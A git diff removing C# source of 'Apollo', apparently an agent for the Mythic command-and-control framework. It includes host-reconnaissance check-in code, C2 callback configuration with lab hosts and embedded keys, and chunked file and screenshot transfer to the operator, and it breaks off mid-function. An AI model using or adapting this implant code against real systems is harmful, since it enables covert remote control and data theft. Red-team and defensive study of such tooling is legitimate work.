CPU.ActiveCfg = Debug|Any CPU - {8F530743-F632-41FC-BBEA-B6727542A719}.Debug|Any CPU.Build.0 = Debug|Any CPU - {8F530743-F632-41FC-BBEA-B6727542A719}.Debug|x64.ActiveCfg = Debug|x64 - {8F530743-F632-41FC-BBEA-B6727542A719}.Debug|x64.Build.0 = Debug|x64 - {8F530743-F632-41FC-BBEA-B6727542A719}.Debug|x86.ActiveCfg = Debug|x86 - {8F530743-F632-41FC-BBEA-B6727542A719}.Debug|x86.Build.0 = Debug|x86 - {8F530743-F632-41FC-BBEA-B6727542A719}.Release|Any CPU.ActiveCfg = Release|Any CPU - {8F530743-F632-41FC-BBEA-B6727542A719}.Release|Any CPU.Build.0 = Release|Any CPU - {8F530743-F632-41FC-BBEA-B6727542A719}.Release|x64.ActiveCfg = Release|x64 - {8F530743-F632-41FC-BBEA-B6727542A719}.Release|x64.Build.0 = Release|x64 - {8F530743-F632-41FC-BBEA-B6727542A719}.Release|x86.ActiveCfg = Release|x86 - {8F530743-F632-41FC-BBEA-B6727542A719}.Release|x86.Build.0 = Release|x86 - {92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Debug|Any CPU.ActiveCfg = Debug|Win32 - {92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Debug|x64.ActiveCfg = Debug|x64 - {92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Debug|x86.ActiveCfg = Debug|Win32 - {92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Debug|x86.Build.0 = Debug|Win32 - {92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|Any CPU.ActiveCfg = Debug|Win32 - {92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|x64.ActiveCfg = Release|x64 - {92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|x86.ActiveCfg = Release|Win32 - {92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|x86.Build.0 = Release|Win32 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection - GlobalSection(ExtensibilityGlobals) = postSolution - SolutionGuid = {A35FB84A-D206-4916-ACEE-A747AE767E76} - EndGlobalSection -EndGlobal diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Agent/Apollo.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Agent/Apollo.cs deleted file mode 100644 index 25d8a18b..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Agent/Apollo.cs +++ /dev/null @@ -1,175 +0,0 @@ -using System; -using System.Linq; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using AM = Apollo.Management; -using System.Net; -using System.Net.Sockets; -using Microsoft.Win32; -using System.Net.NetworkInformation; -using System.Collections.Generic; -using System.IO; - -namespace Apollo.Agent -{ - public class Apollo : ApolloInterop.Classes.Agent - { - - public Apollo(string uuid) : base(uuid) - { - Api = new Api.Api(); - C2ProfileManager = new AM.C2.C2ProfileManager(this); - PeerManager = new AM.Peer.PeerManager(this); - SocksManager = new AM.Socks.SocksManager(this); - RpfwdManager = new AM.Rpfwd.RpfwdManager(this); - TaskManager = new AM.Tasks.TaskManager(this); - FileManager = new AM.Files.FileManager(this); - IdentityManager = new AM.Identity.IdentityManager(this); - ProcessManager = new Process.ProcessManager(this); - InjectionManager = new Injection.InjectionManager(this); - TicketManager = new KerberosTickets.KerberosTicketManager(this); - - - foreach (string profileName in Config.EgressProfiles.Keys) - { - var map = Config.EgressProfiles[profileName]; - - var crypto = CreateType(map.TCryptography, new object[] { Config.PayloadUUID, Config.StagingRSAPrivateKey }); - var serializer = CreateType(map.TSerializer, new object[] { crypto }); - var c2 = CreateType(map.TC2Profile, new object[] - { - map.Parameters, - (ISerializer)serializer, - this - }); - - C2ProfileManager.AddEgress((IC2Profile)c2); - } - - if (C2ProfileManager.GetEgressCollection().Length == 0) - { - throw new Exception("No egress profiles specified."); - } - - foreach (string profileName in Config.IngressProfiles.Keys) - { - var map = Config.EgressProfiles[profileName]; - - var crypto = CreateType(map.TCryptography, new object[] { Config.PayloadUUID, Config.StagingRSAPrivateKey }); - var serializer = CreateType(map.TSerializer, new object[] { crypto }); - var c2 = CreateType(map.TC2Profile, new object[] - { - map.Parameters, - (ISerializer)serializer, - this - }); - - C2ProfileManager.AddIngress((IC2Profile)c2); - } - } - - public override void Start() - { - while (Alive) - { - if (Checkin()) - { - IC2Profile[] c2s = C2ProfileManager.GetConnectedEgressCollection(); - foreach(var c2 in c2s) - { - c2.Start(); - } - } - System.Threading.Thread.Sleep(1000); - } - } - - private static string[] GetIPs() - { - var ifaces = NetworkInterface.GetAllNetworkInterfaces() - .Where(iface => - iface.OperationalStatus == OperationalStatus.Up && iface.NetworkInterfaceType != NetworkInterfaceType.Loopback - ) - .OrderBy(iface => iface.GetIPProperties().GatewayAddresses.ToArray().Length); // Push interfaces with a gateway to the front - - var ipaddrs = new List(); - foreach (var iface in ifaces) - { - var addrs = iface.GetIPProperties().UnicastAddresses; - - // Put the IPv4 addresses before the IPv6 addresses - ipaddrs.AddRange( - addrs.Where(addr => addr.Address.AddressFamily == AddressFamily.InterNetwork) - .Select(addr => addr.Address.ToString()) - ); - - ipaddrs.AddRange( - addrs.Where(addr => addr.Address.AddressFamily == AddressFamily.InterNetworkV6) - .Select(addr => addr.Address.ToString()) - ); - } - - return [.. ipaddrs]; - } - - private static string GetOSVersion() - { - return Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName", "").ToString() + " " + Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ReleaseId", ""); - } - - private bool Checkin() - { - CheckinMessage msg = new CheckinMessage() - { - Action = "checkin", - OS = $"{GetOSVersion()} {Environment.OSVersion.Version}", - User = Environment.UserName, - Host = Dns.GetHostName(), - PID = System.Diagnostics.Process.GetCurrentProcess().Id, - ProcessName = System.Diagnostics.Process.GetCurrentProcess().ProcessName, - IPs = GetIPs(), - UUID = UUID, - Architecture = IntPtr.Size == 8 ? "x64" : "x86", - Domain = Environment.UserDomainName, - // Modify this later. - IntegrityLevel = IdentityManager.GetIntegrityLevel(), - ExternalIP = "", - Cwd= Directory.GetCurrentDirectory(), - }; - IC2Profile connectProfile = null; - bool bRet = false; - foreach(var profile in C2ProfileManager.GetEgressCollection()) - { - try - { - if (profile.Connect(msg, delegate (MessageResponse r) - { - connectProfile = profile; - UUID = r.ID; - bRet = true; - return bRet; - })) - { - break; - } - } catch(Exception ex) - { - - } - } - return bRet; - - } - - private object CreateType(Type t, object[] args) - { - var ctors = t.GetConstructors(); - return ctors[0].Invoke(args); - } - - public override void Exit() - { - base.Exit(); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Api/Api.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Api/Api.cs deleted file mode 100644 index f2a34864..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Api/Api.cs +++ /dev/null @@ -1,74 +0,0 @@ -using ApolloInterop.Interfaces; -using System; -using ApolloInterop.Classes; -using PlaintextCryptography; -using PSKCryptography; -using ApolloInterop.Serializers; -using ApolloInterop.Classes.Api; -using SimpleResolver; -namespace Apollo.Api -{ - public class Api : IApi - { - private IWin32ApiResolver _win32ApiResolver; - public Api() - { - _win32ApiResolver = new GetProcResolver(); - } - - - public string NewUUID() - { - return Guid.NewGuid().ToString(); - } - - public RSAKeyGenerator NewRSAKeyPair(int szKey) - { - return new Cryptography.RSA.RSAKeyPair(szKey); - } - - public ICryptographySerializer NewEncryptedJsonSerializer(string uuid, Type cryptoType, string key = "") - { - if (string.IsNullOrEmpty(key)) - { - Cryptography.RSA.RSAKeyPair keys = new Cryptography.RSA.RSAKeyPair(4096); - key = keys.PrivateKey; - } - - //string aesKey = "ACstCeIXHEqdn/QM3YsAX24yfRUX6JBtOdhkAwnfQrw="; - //string uuid = "9f006dd8-7036-455b-99ed-d0b5f19ba921"; - - EncryptedJsonSerializer result; - - if (cryptoType == typeof(PlaintextCryptographyProvider)) - { - PlaintextCryptographyProvider plain = new PlaintextCryptographyProvider(uuid, key); - result = new EncryptedJsonSerializer(plain); - } else if (cryptoType == typeof(PSKCryptographyProvider)) - { - PSKCryptographyProvider psk = new PSKCryptographyProvider(uuid, key); - result = new EncryptedJsonSerializer(psk); - } - else - { - throw new ArgumentException($"Unsupported cryptography type: {cryptoType.Name}"); - } - return result; - } - - public T GetLibraryFunction(Library library, string functionName, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate - { - return _win32ApiResolver.GetLibraryFunction(library, functionName, canLoadFromDisk, resolveForwards); - } - - public T GetLibraryFunction(Library library, short ordinal, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate - { - return _win32ApiResolver.GetLibraryFunction(library, ordinal, canLoadFromDisk, resolveForwards); - } - - public T GetLibraryFunction(Library library, string functionHash, long key, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate - { - return _win32ApiResolver.GetLibraryFunction(library, functionHash, key, canLoadFromDisk, resolveForwards); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Api/Cryptography/RSA.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Api/Cryptography/RSA.cs deleted file mode 100644 index 7ca39730..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Api/Cryptography/RSA.cs +++ /dev/null @@ -1,180 +0,0 @@ -using System; -using System.IO; -using System.Security.Cryptography; -using ApolloInterop.Classes; - -namespace Apollo.Api.Cryptography -{ - public static class RSA - { - public class RSAKeyPair : RSAKeyGenerator - { - public string PublicKey; - public string PrivateKey; - - public RSAKeyPair(int szKey) : base(szKey) - { - RSA = new RSACryptoServiceProvider(szKey) - { - PersistKeyInCsp = false - }; - - PublicKey = ExportPublicKey(); - PrivateKey = ExportPrivateKey(); - } - - public RSAKeyPair(RSACryptoServiceProvider provider) : base(provider) - { - PublicKey = ExportPublicKey(); - PrivateKey = ExportPrivateKey(); - } - - public override String ExportPrivateKey() - { - TextWriter outputStream = new StringWriter(); - - if (RSA.PublicOnly) throw new ArgumentException("CSP does not contain a private key", "csp"); - var parameters = RSA.ExportParameters(true); - using (var stream = new MemoryStream()) - { - var writer = new BinaryWriter(stream); - writer.Write((byte)0x30); // SEQUENCE - using (var innerStream = new MemoryStream()) - { - var innerWriter = new BinaryWriter(innerStream); - EncodeIntegerBigEndian(innerWriter, new byte[] { 0x00 }); // Version - EncodeIntegerBigEndian(innerWriter, parameters.Modulus); - EncodeIntegerBigEndian(innerWriter, parameters.Exponent); - EncodeIntegerBigEndian(innerWriter, parameters.D); - EncodeIntegerBigEndian(innerWriter, parameters.P); - EncodeIntegerBigEndian(innerWriter, parameters.Q); - EncodeIntegerBigEndian(innerWriter, parameters.DP); - EncodeIntegerBigEndian(innerWriter, parameters.DQ); - EncodeIntegerBigEndian(innerWriter, parameters.InverseQ); - var length = (int)innerStream.Length; - EncodeLength(writer, length); - writer.Write(innerStream.GetBuffer(), 0, length); - } - - var base64 = Convert.ToBase64String(stream.GetBuffer(), 0, (int)stream.Length).ToCharArray(); - outputStream.WriteLine("-----BEGIN RSA PRIVATE KEY-----"); - // Output as Base64 with lines chopped at 64 characters - for (var i = 0; i < base64.Length; i += 64) - { - outputStream.WriteLine(base64, i, Math.Min(64, base64.Length - i)); - } - outputStream.WriteLine("-----END RSA PRIVATE KEY-----"); - } - - return outputStream.ToString(); - } - - public override String ExportPublicKey() - { - StringWriter outputStream = new StringWriter(); - var parameters = RSA.ExportParameters(false); - using (var stream = new MemoryStream()) - { - var writer = new BinaryWriter(stream); - writer.Write((byte)0x30); // SEQUENCE - using (var innerStream = new MemoryStream()) - { - var innerWriter = new BinaryWriter(innerStream); - innerWriter.Write((byte)0x30); // SEQUENCE - EncodeLength(innerWriter, 13); - innerWriter.Write((byte)0x06); // OBJECT IDENTIFIER - var rsaEncryptionOid = new byte[] { 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01 }; - EncodeLength(innerWriter, rsaEncryptionOid.Length); - innerWriter.Write(rsaEncryptionOid); - innerWriter.Write((byte)0x05); // NULL - EncodeLength(innerWriter, 0); - innerWriter.Write((byte)0x03); // BIT STRING - using (var bitStringStream = new MemoryStream()) - { - var bitStringWriter = new BinaryWriter(bitStringStream); - bitStringWriter.Write((byte)0x00); // # of unused bits - bitStringWriter.Write((byte)0x30); // SEQUENCE - using (var paramsStream = new MemoryStream()) - { - var paramsWriter = new BinaryWriter(paramsStream); - EncodeIntegerBigEndian(paramsWriter, parameters.Modulus); // Modulus - EncodeIntegerBigEndian(paramsWriter, parameters.Exponent); // Exponent - var paramsLength = (int)paramsStream.Length; - EncodeLength(bitStringWriter, paramsLength); - bitStringWriter.Write(paramsStream.GetBuffer(), 0, paramsLength); - } - var bitStringLength = (int)bitStringStream.Length; - EncodeLength(innerWriter, bitStringLength); - innerWriter.Write(bitStringStream.GetBuffer(), 0, bitStringLength); - } - var length = (int)innerStream.Length; - EncodeLength(writer, length); - writer.Write(innerStream.GetBuffer(), 0, length); - } - - string base64 = Convert.ToBase64String(stream.GetBuffer(), 0, (int)stream.Length); - return base64; - } - } - - private static void EncodeLength(BinaryWriter stream, int length) - { - if (length < 0) throw new ArgumentOutOfRangeException("length", "Length must be non-negative"); - if (length < 0x80) - { - // Short form - stream.Write((byte)length); - } - else - { - // Long form - var temp = length; - var bytesRequired = 0; - while (temp > 0) - { - temp >>= 8; - bytesRequired++; - } - stream.Write((byte)(bytesRequired | 0x80)); - for (var i = bytesRequired - 1; i >= 0; i--) - { - stream.Write((byte)(length >> (8 * i) & 0xff)); - } - } - } - - private static void EncodeIntegerBigEndian(BinaryWriter stream, byte[] value, bool forceUnsigned = true) - { - stream.Write((byte)0x02); // INTEGER - var prefixZeros = 0; - for (var i = 0; i < value.Length; i++) - { - if (value[i] != 0) break; - prefixZeros++; - } - if (value.Length - prefixZeros == 0) - { - EncodeLength(stream, 1); - stream.Write((byte)0); - } - else - { - if (forceUnsigned && value[prefixZeros] > 0x7f) - { - // Add a prefix zero to force unsigned if the MSB is 1 - EncodeLength(stream, value.Length - prefixZeros + 1); - stream.Write((byte)0); - } - else - { - EncodeLength(stream, value.Length - prefixZeros); - } - for (var i = prefixZeros; i < value.Length; i++) - { - stream.Write(value[i]); - } - } - } - } - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj b/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj deleted file mode 100644 index f3d1a8a7..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj +++ /dev/null @@ -1,40 +0,0 @@ - - - net451 - Exe - 12 - enable - false - AnyCPU;x64;x86 - - - - False - ..\..\..\..\..\..\..\..\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs deleted file mode 100644 index 5f3c8ef0..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs +++ /dev/null @@ -1,179 +0,0 @@ -#define C2PROFILE_NAME_UPPER - -//#define LOCAL_BUILD - -#if LOCAL_BUILD -//#define HTTP -//#define WEBSOCKET -//#define TCP -//#define SMB -#endif - -#if HTTP -using HttpTransport; -#endif -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using ApolloInterop.Structs.ApolloStructs; -using PSKCryptography; -using ApolloInterop.Serializers; -#if WEBSOCKET -using WebsocketTransport; -#endif -#if SMB -using NamedPipeTransport; -#endif -#if TCP -using TcpTransport; -#endif -namespace Apollo -{ - public static class Config - { - public static Dictionary EgressProfiles = new Dictionary() - { -#if HTTP - { "http", new C2ProfileData() - { - TC2Profile = typeof(HttpProfile), - TCryptography = typeof(PSKCryptographyProvider), - TSerializer = typeof(EncryptedJsonSerializer), - Parameters = new Dictionary() - { -#if LOCAL_BUILD - { "callback_interval", "1" }, - { "callback_jitter", "0" }, - { "callback_port", "80" }, - { "callback_host", "http://192.168.53.1" }, - { "post_uri", "data" }, - { "encrypted_exchange_check", "T" }, - { "proxy_host", "" }, - { "proxy_port", "" }, - { "proxy_user", "" }, - { "proxy_pass", "" }, - { "domain_front", "domain_front" }, - { "killdate", "-1" }, - { "USER_AGENT", "Apollo-Refactor" }, -#else - { "callback_interval", "http_callback_interval_here" }, - { "callback_jitter", "http_callback_jitter_here" }, - { "callback_port", "http_callback_port_here" }, - { "callback_host", "http_callback_host_here" }, - { "post_uri", "http_post_uri_here" }, - { "encrypted_exchange_check", "http_encrypted_exchange_check_here" }, - { "proxy_host", "http_proxy_host_here" }, - { "proxy_port", "http_proxy_port_here" }, - { "proxy_user", "http_proxy_user_here" }, - { "proxy_pass", "http_proxy_pass_here" }, - { "killdate", "http_killdate_here" }, - HTTP_ADDITIONAL_HEADERS_HERE -#endif - } - } - }, -#endif -#if WEBSOCKET - { "websocket", new C2ProfileData() - { - TC2Profile = typeof(WebsocketProfile), - TCryptography = typeof(PSKCryptographyProvider), - TSerializer = typeof(EncryptedJsonSerializer), - Parameters = new Dictionary() - { -#if LOCAL_BUILD - { "tasking_type", "Push" }, - { "callback_interval", "5" }, - { "callback_jitter", "0" }, - { "callback_port", "8081" }, - { "callback_host", "ws://mythic" }, - { "ENDPOINT_REPLACE", "socket" }, - { "encrypted_exchange_check", "T" }, - { "domain_front", "domain_front" }, - { "killdate", "-1" }, - { "USER_AGENT", "Apollo-Refactor" }, -#else - { "tasking_type", "websocket_tasking_type_here"}, - { "callback_interval", "websocket_callback_interval_here" }, - { "callback_jitter", "websocket_callback_jitter_here" }, - { "callback_port", "websocket_callback_port_here" }, - { "callback_host", "websocket_callback_host_here" }, - { "ENDPOINT_REPLACE", "websocket_ENDPOINT_REPLACE_here" }, - { "encrypted_exchange_check", "websocket_encrypted_exchange_check_here" }, - { "domain_front", "websocket_domain_front_here" }, - { "USER_AGENT", "websocket_USER_AGENT_here" }, - { "killdate", "websocket_killdate_here" }, - HTTP_ADDITIONAL_HEADERS_HERE -#endif - } - } - }, -#endif -#if SMB - { "smb", new C2ProfileData() - { - TC2Profile = typeof(NamedPipeProfile), - TCryptography = typeof(PSKCryptographyProvider), - TSerializer = typeof(EncryptedJsonSerializer), - Parameters = new Dictionary() - { -#if LOCAL_BUILD - { "pipename", "h20iexte-2l1t-mmfu-ipjh-6ofmobkaruq8" }, - { "encrypted_exchange_check", "true" }, -#else - { "pipename", "smb_pipename_here" }, - { "encrypted_exchange_check", "smb_encrypted_exchange_check_here" }, -#endif - } - } - }, -#elif TCP - { "tcp", new C2ProfileData() - { - TC2Profile = typeof(TcpProfile), - TCryptography = typeof(PSKCryptographyProvider), - TSerializer = typeof(EncryptedJsonSerializer), - Parameters = new Dictionary() - { -#if LOCAL_BUILD - { "port", "40000" }, - { "encrypted_exchange_check", "true" }, -#else - { "port", "tcp_port_here" }, - { "encrypted_exchange_check", "tcp_encrypted_exchange_check_here" }, -#endif - } - } - } -#endif - }; - - - public static Dictionary IngressProfiles = new Dictionary(); -#if LOCAL_BUILD -#if HTTP - public static string StagingRSAPrivateKey = "wkskVa0wTi4E3EZ6bi9YyKpbHb01NNDgZ1BXnJJM5io="; -#elif WEBSOCKET - public static string StagingRSAPrivateKey = "Hl3IzCYy3io5QU70xjpYyCNrOmA84aWMZLkCwumrAFM="; -#elif SMB - public static string StagingRSAPrivateKey = "NNLlAegRMB8DIX7EZ1Yb6UlKQ4la90QsisIThCyhfCc="; -#elif TCP - public static string StagingRSAPrivateKey = "Zq24zZvWPRGdWwEQ79JXcHunzvcOJaKLH7WtR+gLiGg="; -#endif -#if HTTP - public static string PayloadUUID = "b40195db-22e5-4f9f-afc5-2f170c3cc204"; -#elif WEBSOCKET - public static string PayloadUUID = "7546e204-aae4-42df-b28a-ade1c13594d2"; -#elif SMB - public static string PayloadUUID = "aff94490-1e23-4373-978b-263d9c0a47b3"; -#elif TCP - public static string PayloadUUID = "bfc167ea-9142-4da3-b807-c57ae054c544"; -#endif -#else - // TODO: Make the AES key a config option specific to each profile - public static string StagingRSAPrivateKey = "AESPSK_here"; - public static string PayloadUUID = "payload_uuid_here"; -#endif - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/FodyWeavers.xml b/Payload_Type/apollo/apollo/agent_code/Apollo/FodyWeavers.xml deleted file mode 100644 index 24aab9e5..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/FodyWeavers.xml +++ /dev/null @@ -1,5 +0,0 @@ - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/FodyWeavers.xsd b/Payload_Type/apollo/apollo/agent_code/Apollo/FodyWeavers.xsd deleted file mode 100644 index 05e92c11..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/FodyWeavers.xsd +++ /dev/null @@ -1,141 +0,0 @@ - - - - - - - - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with line breaks. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with line breaks. - - - - - The order of preloaded assemblies, delimited with line breaks. - - - - - - This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. - - - - - Controls if .pdbs for reference assemblies are also embedded. - - - - - Controls if runtime assemblies are also embedded. - - - - - Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. - - - - - Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. - - - - - As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. - - - - - Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. - - - - - Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with |. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with |. - - - - - The order of preloaded assemblies, delimited with |. - - - - - - - - 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. - - - - - A comma-separated list of error codes that can be safely ignored in assembly verification. - - - - - 'false' to turn off automatic generation of the XML Schema file. - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/C2/C2ProfileManager.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Management/C2/C2ProfileManager.cs deleted file mode 100644 index 4f2837d2..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/C2/C2ProfileManager.cs +++ /dev/null @@ -1,26 +0,0 @@ -using ApolloInterop.Interfaces; -using HttpTransport; -using System; -using System.Collections.Generic; - -namespace Apollo.Management.C2 -{ - public class C2ProfileManager : ApolloInterop.Classes.C2ProfileManager - { - public C2ProfileManager(IAgent agent) : base(agent) - { - - } - - public override IC2Profile NewC2Profile(Type c2, ISerializer serializer, Dictionary parameters) - { - if (c2 == typeof(HttpProfile)) - { - return new HttpProfile(parameters, serializer, Agent); - } else - { - throw new ArgumentException($"Unsupported C2 Profile type: {c2.Name}"); - } - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Files/FileManager.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Files/FileManager.cs deleted file mode 100644 index 6c13e4ef..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Files/FileManager.cs +++ /dev/null @@ -1,306 +0,0 @@ -using ApolloInterop.Classes.Core; -using ApolloInterop.Classes.Events; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System; -using System.Collections.Concurrent; -using System.Collections.Generic; -using System.Linq; -using System.Threading; -using ApolloInterop.Classes.Cryptography; -using Newtonsoft.Json.Serialization; - -namespace Apollo.Management.Files -{ - public sealed class FileManager : IFileManager - { - private int _chunkSize = 512000; - private IAgent _agent; - private IEncryptedFileStore _fileStore; - - public FileManager(IAgent agent) - { - _agent = agent; - _fileStore = new EncryptedFileStore.EncryptedFileStore( - new ICryptographicRoutine[] - { - new AesRoutine(), - // In the future, we should allow composible encryption routines; - // however, due to how impersonation and DPAPI interact, - // we can't use DPAPI to encrypt files. - // new DpapiRoutine(System.Guid.NewGuid().ToByteArray()), - }); - } - - internal struct UploadMessageTracker - { - internal AutoResetEvent Complete; - internal ChunkedMessageStore MessageStore; - internal byte[] Data; - private CancellationToken _ct; - internal bool error; - internal UploadMessageTracker(CancellationToken ct, bool initialState = false, ChunkedMessageStore store = null, byte[] data = null) - { - _ct = ct; - Complete = new AutoResetEvent(initialState); - MessageStore = store == null ? new ChunkedMessageStore() : store; - Data = data; - error = false; - } - internal void MarkError() - { - error = true; - } - } - - // Annoyingly, we need a separate struct as Download task responses don't have - public class DownloadMessageTracker - { - public AutoResetEvent Complete = new AutoResetEvent(false); - public List Statuses = new List(); - public event EventHandler> ChunkAdd; - public event EventHandler> AllChunksSent; - private CancellationToken _ct; - public int TotalChunks { get; private set; } - public string FilePath { get; private set; } - public string Hostname { get; private set; } - public int ChunkSize { get; private set; } - public byte[][] Chunks { get; private set; } - public int ChunksSent { get; private set; } = 0; - public string FileID = ""; - private object _lock = new object(); - public bool IsScreenshot { get; private set; } - internal DownloadMessageTracker(CancellationToken ct, byte[] data, int chunkSize, string filePath, string hostName = "", bool screenshot = false) - { - _ct = ct; - TotalChunks = (int)Math.Ceiling((double)data.Length / (double)chunkSize); - Chunks = new byte[TotalChunks][]; - for(int i = 0; i < TotalChunks; i++) - { - Chunks[i] = data.Skip(i * chunkSize).Take(chunkSize).ToArray(); - } - FilePath = filePath; - Hostname = hostName; - IsScreenshot = screenshot; - } - - public void AddMessage(MythicTaskStatus t) - { - if (!string.IsNullOrEmpty(t.FileID) && string.IsNullOrEmpty(FileID)) - { - FileID = t.FileID; - } else if (t.StatusMessage == "success") - { - ChunksSent += 1; - } - Statuses.Add(t); - if (ChunksSent == TotalChunks || t.StatusMessage == "error" || _ct.IsCancellationRequested) - { - AllChunksSent?.Invoke(this, new ChunkMessageEventArgs(new MythicTaskStatus[] { t })); - Complete.Set(); - } else - { - ChunkAdd?.Invoke(this, new ChunkMessageEventArgs(new MythicTaskStatus[]{ t })); - } - } - } - - private ConcurrentDictionary _uploadMessageStore = new ConcurrentDictionary(); - private ConcurrentDictionary _downloadMessageStore = new ConcurrentDictionary(); - - public string[] GetPendingTransfers() - { - return _uploadMessageStore.Keys.Concat(_downloadMessageStore.Keys).ToArray(); - } - - public void ProcessResponse(MythicTaskStatus resp) - { - if (_uploadMessageStore.ContainsKey(resp.ApolloTrackerUUID)) - { - // This is an upload message response, send it along. - if (resp.ChunkNumber > 0 && _uploadMessageStore.ContainsKey(resp.ApolloTrackerUUID)) - { - _uploadMessageStore[resp.ApolloTrackerUUID].MessageStore.AddMessage(resp); - } - } else - { - if (_downloadMessageStore.ContainsKey(resp.ApolloTrackerUUID)) - { - _downloadMessageStore[resp.ApolloTrackerUUID].AddMessage(resp); - } - } - } - - private void FileManager_MessageComplete(object sender, ChunkMessageEventArgs e) - { - List data = new List(); - for(int i = 0; i < e.Chunks.Length; i++) - { - data.AddRange(Convert.FromBase64String(e.Chunks[i].ChunkData)); - } - if (_uploadMessageStore.TryGetValue(e.Chunks[0].ApolloTrackerUUID, out UploadMessageTracker tracker)) - { - tracker.Data = data.ToArray(); - _uploadMessageStore[e.Chunks[0].ApolloTrackerUUID] = tracker; - tracker.Complete.Set(); - } - } - - public bool PutFile(CancellationToken ct, string taskID, byte[] content, string originatingPath, out string mythicFileId, bool isScreenshot = false, string originatingHost = null) - { - string uuid = Guid.NewGuid().ToString(); - lock (_downloadMessageStore) - { - if (string.IsNullOrEmpty(originatingHost)) - { - originatingHost = Environment.GetEnvironmentVariable("COMPUTERNAME"); - } - _downloadMessageStore[uuid] = new DownloadMessageTracker(ct, content, _chunkSize, originatingPath, originatingHost, isScreenshot); - _downloadMessageStore[uuid].ChunkAdd += DownloadChunkSent; - } - MythicTaskResponse resp = new MythicTaskResponse - { - TaskID = taskID, - Download = new DownloadMessage - { - TotalChunks = _downloadMessageStore[uuid].TotalChunks, - FullPath = originatingPath, - Hostname = originatingHost, - IsScreenshot = isScreenshot, - TaskID = taskID, - }, - ApolloTrackerUUID = uuid - }; - _agent.GetTaskManager()?.AddTaskResponseToQueue(resp); - WaitHandle.WaitAny(new WaitHandle[] - { - _downloadMessageStore[uuid].Complete, - ct.WaitHandle - }); - _downloadMessageStore.TryRemove(uuid, out DownloadMessageTracker itemTracker); - mythicFileId = itemTracker.FileID; - return !ct.IsCancellationRequested && itemTracker.ChunksSent == itemTracker.TotalChunks; - } - - public bool GetFile(CancellationToken ct, string taskID, string fileID, out byte[] fileBytes) - { - string uuid = Guid.NewGuid().ToString(); - lock(_uploadMessageStore) - { - if (!_uploadMessageStore.ContainsKey(taskID)) - { - _uploadMessageStore[uuid] = new UploadMessageTracker(ct, false); - 